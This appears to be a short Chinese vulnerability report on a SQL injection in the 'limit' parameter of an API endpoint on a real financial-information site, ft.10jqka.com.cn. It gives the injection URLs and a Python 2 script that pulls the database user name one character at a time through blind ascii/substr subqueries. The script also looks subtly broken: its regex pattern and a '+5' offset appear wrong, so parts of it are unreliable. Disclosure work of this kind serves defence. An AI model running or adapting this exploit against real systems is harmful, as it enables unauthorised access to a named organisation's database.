同花顺某站一处奇葩注入（附验证脚本）

http://ft.10jqka.com.cn/thsft/iFindService/CellPhone/i-strategy/get-point-view-list?limit=1

http://ft.10jqka.com.cn/thsft/iFindService/CellPhone/i-strategy/get-point-view-list?limit=(select length(user))

#!/usr/bin/env python
 #coding=utf8
 
 import httplib, re, time
 
 database = ''
 httpClient = None
 for num in range(1,9):
 #while 1:
     try:
         headers = {"Host": "ft.10jqka.com.cn", 
                    "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0", 
                    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", 
                    "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", 
                    "X-Requested-With": "XMLHttpRequest", 
                    "Content-Type": "application/json"}
         url = 'http://ft.10jqka.com.cn/thsft/iFindService/CellPhone/i-strategy/get-point-view-list?limit=%28select%20ascii%28substr%28user,'+str(num)+',1%29%29%29'
         httpClient = httplib.HTTPConnection("192.168.1.2", 8080, timeout=10)
         httpClient.request("GET", url=url, headers=headers)
     
         response = httpClient.getresponse()
         rp = response.read()
         database = database + chr(int(re.search('limit":"(/d+)"', rp).group(1))+5)
         print 'user: ', database
 
     except Exception, e:
         print e
     finally:
         if httpClient:
             httpClient.close()